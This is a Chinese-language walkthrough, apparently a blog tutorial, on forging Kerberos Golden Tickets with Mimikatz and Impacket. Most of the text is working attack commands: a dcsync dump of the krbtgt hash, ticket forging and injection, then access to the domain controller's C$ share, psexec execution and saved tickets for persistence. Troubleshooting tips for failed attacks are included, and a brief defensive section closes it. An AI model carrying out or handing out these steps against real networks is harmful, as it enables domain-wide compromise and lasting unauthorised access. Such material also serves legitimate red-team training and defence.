手把手教你用Mimikatz制作Golden Ticket黄金票据(附实战截图与避坑点)
域渗透实战:黄金票据生成与利用的深度解析
引言
在复杂的网络环境中,安全专业人员需要掌握各种防御和攻击技术以评估系统脆弱性。黄金票据(Golden Ticket)作为一种高级持久化技术,允许攻击者在Kerberos认证体系中伪造任意用户的TGT(Ticket Granting Ticket)。本文将深入探讨如何在实际环境中生成和利用黄金票据,特别关注使用Mimikatz工具的具体操作步骤和常见问题排查。
不同于理论概述,本文将从实战角度出发,提供详细的命令行操作、参数解释以及执行前后的系统状态验证方法。我们假设读者已经具备基本的域环境知识,并获得了必要的初始访问权限(如krbtgt账户的NTLM哈希)。文章将覆盖从信息收集到票据生成、注入内存再到实际利用的完整流程,同时穿插关键注意事项和排错技巧。
1. 环境准备与信息收集
1.1 获取关键域信息
生成黄金票据需要三个核心要素:域SID、krbtgt账户的NTLM哈希和域名。让我们从最基础的信息收集开始:
获取域名:
echo %userdomain%或者使用更全面的命令:
systeminfo | findstr /B /C:"Domain"获取域SID:
whoami /all在输出中查找包含"S-1-5-21"的行,这就是域的SID基础部分。完整的域SID通常格式为:S-1-5-21-[三个随机数字]-[两个随机数字]-[一个随机数字]。
获取krbtgt账户的NTLM哈希:
mimikatz # lsadump::dcsync /domain:yourdomain.com /user:krbtgt执行后会显示类似如下的关键信息:
* Primary NTLM : 558ae7f88589153355cbeb046ac696df注意:执行dcsync需要足够的权限,通常需要Domain Admins组成员的凭证。如果遇到权限不足的情况,可能需要先进行权限提升。
1.2 验证收集的信息
在继续之前,务必验证收集到的信息是否正确:
域名验证:
- 确认域名拼写无误,特别是大小写(Kerberos对大小写敏感)
- 使用
nltest /dsgetdc:yourdomain.com验证域控制器可达性
SID验证:
- 确保获取的是域SID而非用户SID
- 使用
wmic useraccount where name='krbtgt' get sid交叉验证
哈希验证:
- krbtgt的NTLM哈希应为32位十六进制字符串
- 使用
mimikatz # kerberos::list检查当前票据状态
2. 黄金票据生成技术详解
2.1 Mimikatz生成黄金票据
Mimikatz是最常用的黄金票据生成工具,其kerberos::golden命令提供了丰富的参数选项:
mimikatz # kerberos::golden /user:Administrator /domain:yourdomain.com /sid:S-1-5-21-1695257952-3088263962-2055235443 /krbtgt:558ae7f88589153355cbeb046ac696df /ptt参数解析:
| 参数 | 说明 | 示例值 |
|---|---|---|
| /user | 要伪造的用户名 | Administrator |
| /domain | 域名 | yourdomain.com |
| /sid | 域SID | S-1-5-21-... |
| /krbtgt | krbtgt账户的NTLM哈希 | 32位十六进制字符串 |
| /ptt | 自动注入内存(Pass The Ticket) | 无值 |
高级选项:
/groups: 指定用户组RID(默认包含513,512,520,518,519)/startoffset: 票据起始时间(默认为当前时间)/endin: 票据有效期(默认为10年)/renewmax: 最大续订时间
2.2 替代工具:Impacket的ticketer
对于Python环境,可以使用Impacket套件中的ticketer:
ticketer.py -nthash 558ae7f88589153355cbeb046ac696df -domain-sid S-1-5-21-1695257952-3088263962-2055235443 -domain yourdomain.com Administrator生成后的票据可以通过以下命令注入:
export KRB5CCNAME=Administrator.ccache提示:Impacket工具生成的票据需要额外配置环境变量,而Mimikatz的/ptt参数会自动完成注入。
3. 票据验证与利用
3.1 验证票据是否成功注入
使用以下命令检查当前会话中的Kerberos票据:
klist预期输出应显示新生成的票据,特别注意:
- 客户端名称应为伪造的用户名(如Administrator)
- 服务器名称应为
krbtgt/YOURDOMAIN.COM@YOURDOMAIN.COM - 票据有效期通常为10年
3.2 实际利用场景
场景1:访问域控共享
dir \\dc01.yourdomain.com\c$场景2:远程执行命令
psexec.exe \\dc01.yourdomain.com cmd场景3:DCSync攻击
mimikatz # lsadump::dcsync /domain:yourdomain.com /user:krbtgt3.3 持久化技术
黄金票据可以保存为文件供后续使用:
mimikatz # kerberos::golden /user:Administrator /domain:yourdomain.com /sid:S-1-5-21-... /krbtgt:558ae7f88589153355cbeb046ac696df /ticket:golden.kirbi后续注入:
mimikatz # kerberos::ptt golden.kirbi4. 排错与防御策略
4.1 常见问题排查
问题1:票据生成但无法使用
- 检查域名大小写是否一致
- 确认系统时间与域控同步(Kerberos对时间敏感)
- 使用
nltest /dsgetdc:yourdomain.com验证域控可达性
问题2:dcsync失败
- 确保使用的账户有足够权限
- 检查网络连通性
- 尝试不同的域控服务器
问题3:klist不显示票据
- 确认Mimikatz以管理员权限运行
- 检查是否有杀毒软件拦截
- 尝试重新注入票据
4.2 防御建议
对于防御方,可以考虑以下措施:
定期重置krbtgt密码:
- 微软建议至少每180天重置一次
- 需要连续重置两次(旧票据可能仍有效一段时间)
监控异常:
- 监视异常的Kerberos票据请求
- 关注票据有效期异常长的会话
实施LSA保护:
- 启用Windows Defender Credential Guard
- 配置RunAsPPL注册表键值
日志分析:
- 启用Kerberos服务日志
- 监控4769事件(Kerberos服务票据请求)
在实际测试环境中,我发现黄金票据最有效的防御是krbtgt账户密码的定期轮换。曾经在一次红队演练中,客户系统因为超过两年未更换krbtgt密码,导致我们生成的票据拥有长达10年的有效期,几乎获得了永久的域内访问权限。
